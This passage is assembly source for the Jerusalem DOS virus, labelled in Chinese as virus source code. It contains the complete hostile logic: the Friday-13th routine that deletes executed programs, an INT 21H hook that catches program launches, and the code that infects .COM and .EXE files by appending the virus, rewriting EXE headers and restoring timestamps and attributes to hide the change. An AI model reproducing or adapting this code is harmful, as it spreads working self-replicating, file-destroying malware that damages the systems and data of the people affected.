jerusalm.asm

一些病毒源代码

BP0180: 
   MOV   CX,8000H
   REPZ  MOVSW
   ADD   AX,1000H
   ADD   BP,1000H
   MOV   DS,AX
   MOV   ES,BP          ; Restore ES
   DEC   BX
   JNZ   BP0180
BP0190: 
   MOV   CX,SPAR07
   REPZ  MOVSB
   POP   AX             ; Recover ES
   PUSH  AX             ; Put it back again
   ADD   AX,10H         ; Address past PSP
   ADD   SPAR05,AX      ; Relocate SS
   ADD   SPAR03,AX      ; Relocate ?
   MOV   AX,SPAR01
   POP   DS
   POP   ES
   MOV   SS,SPAR05
   MOV   SP,SPAR04
   JMP   SP_RET

   ; Friday 13th - Delete program

BP0200: 
   XOR   CX,CX          ; No attributes
   MOV   AX,4301H       ; Set file attributes
   INT   21H            ; DOS service (Set attributes)
   MOV   AH,41H         ; Delete directory entry
   INT   21H            ; DOS service (Delete entry)
   MOV   AX,4B00H       ; Load and execute program
   POPF
   JMP   INT_21         ; Interrupt 21H

   ; Process load and execute program

BP0210: 
   CMP   DEL_SW,1       ; Test delete program switch
   JZ BP0200            ; Branch to delete if on
   MOV   F_HAND,-1      ; No file handle
   MOV   MEM_SW,0       ; Set off memory allocated switch
   MOV   FPTHOF,DX      ; Save pathname offset
   MOV   FPTHSG,DS      ; Save pathname segment
   PUSH  AX
   PUSH  BX
   PUSH  CX
   PUSH  DX
   PUSH  SI
   PUSH  DI
   PUSH  DS
   PUSH  ES
   CLD
   MOV   DI,DX          ; Point to file pathname
   XOR   DL,DL          ; Default drive
   CMP   BYTE PTR [DI+1],3AH  ; Test second character for ':'
   JNZ   BP0220         ; Branch if not
   MOV   DL,[DI]        ; Get drive letter
   AND   DL,1FH         ; Convert to number
BP0220: 
   MOV   AH,36H         ; Get disk free space
   INT   21H            ; DOS service (Get disk free)
   CMP   AX,-1          ; Test for invalid drive
   JNZ   BP0240         ; Branch if not
BP0230: 
   JMP   BP0500         ; Terminate

BP0240: 
   MUL   BX             ; Calc number of free sectors
   MUL   CX             ; Calc number of free bytes
   OR    DX,DX          ; Test high word of result
   JNZ   BP0250         ; Branch if not zero
   CMP   AX,OFFSET ENDADR  ; Length of virus
   JB    BP0230         ; Terminate if less
BP0250: 
   MOV   DX,FPTHOF      ; Get pathname offset
   PUSH  DS             ; \ Set ES to DS
   POP   ES             ; /
   XOR   AL,AL          ; Test character - zero
   MOV   CX,41H         ; Maximum pathname length
   REPNZ SCASB          ; Find end of pathname
   MOV   SI,FPTHOF      ; Get pathname offset
BP0260: 
   MOV   AL,[SI]        ; Get pathname character
   OR    AL,AL          ; Test for a character
   JZ    BP0280         ; Finish if none
   CMP   AL,61H         ; Test for 'a'
   JB    BP0270         ; Branch if less
   CMP   AL,7AH         ; Test for 'z'
   JA    BP0270         ; Branch if above
   SUB   BYTE PTR [SI],20H ; Convert to uppercase
BP0270: 
   INC   SI             ; Address next character
   JMP   BP0260         ; Process next character

BP0280: 
   MOV   CX,0BH         ; Load length 11
   SUB   SI,CX          ; Address back by length
   MOV   DI,OFFSET COM_CM  ; 'COMMAND.COM'
   PUSH  CS             ; \ Set ES to CS
   POP   ES             ; /
   MOV   CX,0BH         ; Load length again
   REPZ  CMPSB          ; Compare
   JNZ   BP0290         ; Continue if not command.com
   JMP   BP0500         ; Terminate

BP0290: 
   MOV   AX,4300H       ; Get file attributes
   INT   21H            ; DOS service (Get attributes)
   JB    BP0300         ; Follow chain of error branches
   MOV   F_ATTS,CX      ; Save file attributes
BP0300: 
   JB    BP0320         ; Follow chain of error branches
   XOR   AL,AL          ; Scan character - zero
   MOV   EXE_SW,AL      ; Set EXE switch off
   PUSH  DS             ; \ Set ES to DS
   POP   ES             ; /
   MOV   DI,DX          ; Pointer to pathname
   MOV   CX,41H         ; Maximum pathname length
   REPNZ SCASB          ; Find end of pathname
   CMP   BYTE PTR [DI-2],4DH  ; Is last letter 'M'
   JZ    BP0310         ; Branch if yes
   CMP   BYTE PTR [DI-2],6DH  ; Is last letter 'm'
   JZ    BP0310         ; Branch if yes
   INC   EXE_SW         ; Set EXE switch on
BP0310: 
   MOV   AX,3D00H       ; Open handle, read only
   INT   21H            ; DOS service (Open handle)
BP0320: 
   JB    BP0340         ; Follow chain of error branches
   MOV   F_HAND,AX      ; Save file handle
   MOV   BX,AX          ; File handle
   MOV   AX,4202H       ; Move file pointer
   MOV   CX,-1          ; \ End of file minus 5
   MOV   DX,-5          ; /
   INT   21H            ; DOS service (Move pointer)
   JB    BP0320         ; Follow chain of error branches
   ADD   AX,5           ; Total file size
   MOV   F_SIZE,AX      ; Save total file size
   MOV   CX,5           ; Length to read
   MOV   DX,OFFSET SIGBUF  ; Infection test buffer
   MOV   AX,CS          ; \
   MOV   DS,AX          ;  ) Make DS & ES same as CS
   MOV   ES,AX          ; /
   ASSUME   DS:CODE
   MOV   AH,3FH         ; Read handle
   INT   21H            ; DOS service (Read handle)
   MOV   DI,DX          ; Address test buffer
   MOV   SI,OFFSET VR_SIG  ; Signature
   REPZ  CMPSB          ; Compare signatures
   JNZ   BP0330         ; Branch if not infected
   MOV   AH,3EH         ; Close handle
   INT   21H            ; DOS service (Close handle)
   JMP   BP0500         ; Terminate

BP0330: 
   MOV   AX,3524H       ; Get interrupt 24H
   INT   21H            ; DOS service (Get int)
   MOV   I24OFF,BX      ; Save interrupt 24H offset
   MOV   I24SEG,ES      ; Save interrupt 24H segment
   MOV   DX,OFFSET BP0090  ; Interrupt 24H routine
   MOV   AX,2524H       ; Set interrupt 24H
   INT   21H            ; DOS service (Set int)
   LDS   DX,F_PATH      ; Address program pathname
   XOR   CX,CX          ; No attributes
   MOV   AX,4301H       ; Set file attributes
   INT   21H            ; DOS service (Set attributes)
   ASSUME   DS:NOTHING
BP0340: 
   JB    BP0350         ; Follow chain of error branches
   MOV   BX,F_HAND      ; Get file handle
   MOV   AH,3EH         ; Close handle
   INT   21H            ; DOS service (Close handle)
   MOV   F_HAND,-1      ; No file handle
   MOV   AX,3D02H       ; Open handle read/write
   INT   21H            ; DOS service (Open handle)
   JB    BP0350         ; Follow chain of error branches
   MOV   F_HAND,AX      ; Save file handle
   MOV   AX,CS          ; \
   MOV   DS,AX          ;  ) Make DS & ES same as CS
   MOV   ES,AX          ; /
   ASSUME   DS:CODE
   MOV   BX,F_HAND      ; Get file handle
   MOV   AX,5700H       ; Get file date and time
   INT   21H            ; DOS service (Get file date)
   MOV   F_DATE,DX      ; Save file date
   MOV   F_TIME,CX      ; Save file time
   MOV   AX,4200H       ; Move file pointer
   XOR   CX,CX          ; \ Beginning of file
   MOV   DX,CX          ; /
   INT   21H            ; DOS service (Move pointer)
BP0350: 
   JB    BP0380         ; Follow chain of error branches
   CMP   EXE_SW,0       ; Test EXE switch
   JZ    BP0360         ; Branch if off
   JMP   BP0400

   ; .COM file processing

BP0360: 
   MOV   BX,1000H       ; 64K of memory wanted
   MOV   AH,48H         ; Allocate memory
   INT   21H            ; DOS service (Allocate memory)
   JNB   BP0370         ; Branch if successful
   MOV   AH,3EH         ; Close handle
   MOV   BX,F_HAND      ; Get file handle
   INT   21H            ; DOS service (Close handle)
   JMP   BP0500         ; Terminate

BP0370: 
   INC   MEM_SW         ; Set on memory allocated switch
   MOV   ES,AX          ; Segment of allocated memory
   XOR   SI,SI          ; Start of virus
   MOV   DI,SI          ; Start of allocated memory
   MOV   CX,OFFSET ENDADR  ; Length of virus
   REPZ  MOVSB          ; Copy virus to allocated
   MOV   DX,DI          ; Address after virus
   MOV   CX,F_SIZE      ; Total file size
   MOV   BX,F_HAND      ; Get file handle
   PUSH  ES             ; \ Set DS to ES
   POP   DS             ; /
   MOV   AH,3FH         ; Read handle
   INT   21H            ; DOS service (Read handle)
BP0380: 
   JB    BP0390         ; Follow chain of error branches
   ADD   DI,CX          ; Add previous file size
   XOR   CX,CX          ; \ Beginning of file
   MOV   DX,CX          ; /
   MOV   AX,4200H       ; Move file pointer
   INT   21H            ; DOS service (Move pointer)
   MOV   SI,OFFSET VR_SIG  ; Signature
   MOV   CX,5           ; Length to move
   REPZ  MOVS  [DI],CS:VR_SIG ; Copy signature to end
   MOV   CX,DI          ; Length to write
   XOR   DX,DX          ; Start of allocated
   MOV   AH,40H         ; Write handle
   INT   21H            ; DOS service (Write handle)
BP0390: 
   JB    BP0410         ; Follow chain of error branches
   JMP   BP0480         ; Free memory and reset values

   ; .EXE file processing

BP0400: 
   MOV   CX,1CH         ; Length of EXE header
   MOV   DX,OFFSET EXEHED  ; .EXE header store
   MOV   AH,3FH         ; Read handle
   INT   21H            ; DOS service (Read handle)
BP0410: 
   JB    BP0430         ; Follow chain of error branches
   MOV   EXHD09,1984H   ; Negative checksum
   MOV   AX,EXHD07      ; \ Store initial stack segment
   MOV   PRG_SS,AX      ; /
   MOV   AX,EXHD08      ; \ Store initial stack pointer
   MOV   PRG_SP,AX      ; /
   MOV   AX,EXHD10      ; \ Store initial code offset
   MOV   PRGOFF,AX      ; /
   MOV   AX,EXHD11      ; \ Store initial code segment
   MOV   PRGSEG,AX      ; /
   MOV   AX,EXHD02      ; Get size of file in pages
   CMP   EXHD01,0       ; Number of bytes in last page
   JZ    BP0420         ; Branch if none
   DEC   AX             ; One less page
BP0420: 
   MUL   BYTSEC         ; Bytes per sector
   ADD   AX,EXHD01      ; \ Add bytes in last page
   ADC   DX,0           ; /
   ADD   AX,0FH         ; \ Round up
   ADC   DX,0           ; /
   AND   AX,0FFF0H      ; Clear bottom figure
   MOV   F_SIZ1,AX      ; Save low-order file size
   MOV   F_SIZ2,DX      ; Save high-order file size
   ADD   AX,OFFSET ENDADR  ; \ Add virus length
   ADC   DX,0           ; /
BP0430: 
   JB    BP0450         ; Follow chain of error branches
   DIV   BYTSEC         ; Bytes per sector
   OR    DX,DX          ; Test odd bytes
   JZ    BP0440         ; Branch if none
   INC   AX             ; One more page for odd bytes
BP0440: 
   MOV   EXHD02,AX      ; Store size of file in pages
   MOV   EXHD01,DX      ; Store bytes in last page
   MOV   AX,F_SIZ1      ; Low-order file size
   MOV   DX,F_SIZ2      ; High-order file size
   DIV   PARAGR         ; Size of a paragraph
   SUB   AX,EXHD04      ; Size of header in paragraphs
   MOV   EXHD11,AX      ; Initial code segment
   MOV   EXHD10,OFFSET BP0030 ; Initial code offset
   MOV   EXHD07,AX      ; Initial stack segment
   MOV   EXHD08,OFFSET ENDADR ; Initial stack pointer
   XOR   CX,CX          ; \ Beginning of file
   MOV   DX,CX          ; /
   MOV   AX,4200H       ; Move file pointer
   INT   21H            ; DOS service (Move pointer)
BP0450: 
   JB    BP0460         ; Follow chain of error branches
   MOV   CX,1CH         ; Length of EXE header
   MOV   DX,OFFSET EXEHED  ; .EXE header store
   MOV   AH,40H         ; Write handle
   INT   21H            ; DOS service (Write handle)
BP0460: 
   JB    BP0470         ; Follow chain of error branches
   CMP   AX,CX          ; Has same length been written
   JNZ   BP0480         ; Branch if not
   MOV   DX,F_SIZ1      ; Low-order file size
   MOV   CX,F_SIZ2      ; High-order file size
   MOV   AX,4200H       ; Move file pointer
   INT   21H            ; DOS service (Move pointer)
BP0470: 
   JB    BP0480         ; Follow chain of error branches
   XOR   DX,DX          ; Address beginning of virus
   MOV   CX,OFFSET ENDADR  ; Length of virus
   MOV   AH,40H         ; Write handle
   INT   21H            ; DOS service (Write handle)
   ASSUME   DS:NOTHING
BP0480: 
   CMP   MEM_SW,0       ; Test memory allocated switch
   JZ    BP0490         ; Branch if off
   MOV   AH,49H         ; Free allocated memory
   INT   21H            ; DOS service (Free memory)
BP0490: 
   CMP   F_HAND,-1      ; Test file handle
   JZ    BP0500         ; Terminate if none
   MOV   BX,F_HAND      ; Get file handle
   MOV   DX,F_DATE      ; Get file date
   MOV   CX,F_TIME      ; Get file time
   MOV   AX,5701H       ; Set file date and time
   INT   21H            ; DOS service (Set file date)
   MOV   AH,3EH         ; Close handle
   INT   21H            ; DOS service (Close handle)
   LDS   DX,F_PATH      ; Address program pathname
   MOV   CX,F_ATTS      ; Load file attributes
   MOV   AX,4301H       ; Set file attributes
   INT   21H            ; DOS service (Set attributes)
   LDS   DX,INT_24      ; Original interrupt 24H address
   MOV   AX,2524H       ; Set interrupt 24H
   INT   21H            ; DOS service (Set int)
BP0500: 
   POP   ES
   POP   DS
   POP   DI
   POP   SI
   POP   DX
   POP   CX
   POP   BX
   POP   AX
   POPF
   JMP   INT_21         ; Interrupt 21H

   DB 11 DUP (0)

ENDKEEP  EQU   $

   ; Stack area - rubbish

   DB 04DH, 09BH, 018H, 004H, 000H, 000H, 000H, 000H
   DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
   DB 000H, 001H, 000H, 000H, 000H, 000H, 000H, 032H
   DB 000H, 000H, 000H, 02FH, 000H, 0FFH, 0FFH, 0FFH
   DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH
   DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 043H
   DB 03AH, 05CH, 041H, 055H, 054H, 04FH, 045H, 058H
   DB 045H, 043H, 02EH, 042H, 041H, 054H, 000H, 061H
   DB 075H, 074H, 06FH, 065H, 078H, 065H, 063H, 00DH
   DB 000H, 0FFH, 0FFH, 0FFH, 000H, 000H, 000H, 000H
   DB 04DH, 09BH, 018H, 000H, 010H, 09AH, 0F0H, 0FEH
   DB 01DH, 0F0H, 02FH, 001H, 09BH, 018H, 03CH, 001H
   DB 0E9H, 092H, 000H, 073H, 055H, 04DH, 073H, 044H
   DB 06FH, 073H, 000H, 001H, 026H, 01CH, 000H, 000H
   DB 000H, 074H, 02AH, 0ABH, 000H, 0CDH, 017H, 060H
   DB 014H, 09FH, 002H, 056H, 005H, 09BH, 018H, 053H
   DB 03AH, 000H, 000H, 000H, 000H, 000H, 000H, 000H
   DB 000H, 000H, 000H, 000H, 000H, 000H, 000H, 000H
   DB 000H, 0B5H, 01BH, 080H, 000H, 000H, 000H, 080H
   DB 000H, 0B5H, 01BH, 05CH, 000H, 0B5H, 01BH, 06CH
   DB 000H, 0B5H, 01BH, 010H, 007H, 0EDH, 014H, 0C5H
   DB 000H, 0EDH, 014H, 046H, 002H, 0A1H, 000H, 04DH
   DB 05AH, 0F0H, 000H, 0B2H, 000H, 038H, 001H, 060H
   DB 000H, 0D3H, 006H, 0FFH, 0FFH, 05EH, 015H, 010H
   DB 007H, 084H, 019H, 0C5H, 000H, 05EH, 015H, 01EH
   DB 000H, 000H, 000H, 037H, 020H, 02AH, 02AH, 02AH
   DB 005H, 000H, 020H, 000H, 030H, 00FH, 000H, 060H
   DB 000H, 002H, 010H, 000H, 0E0H, 05BH, 001H, 000H
   DB 0B9H, 041H, 02AH, 09BH, 043H, 04FH, 04DH, 04DH
   DB 041H, 04EH, 044H, 02EH, 043H, 04FH, 04DH, 001H
   DB 000H, 000H, 000H, 000H, 000H, 0FCH, 0B4H, 0E0H
   DB 0CDH, 021H, 080H, 0FCH, 0E0H, 073H, 016H, 080H
   DB 0FCH, 003H, 072H, 011H, 0B4H, 0DDH, 0BFH, 000H
   DB 001H, 0BEH, 010H, 007H, 003H, 0F7H, 02EH, 08BH

ENDADR   EQU   $

CODE  ENDS

   END   START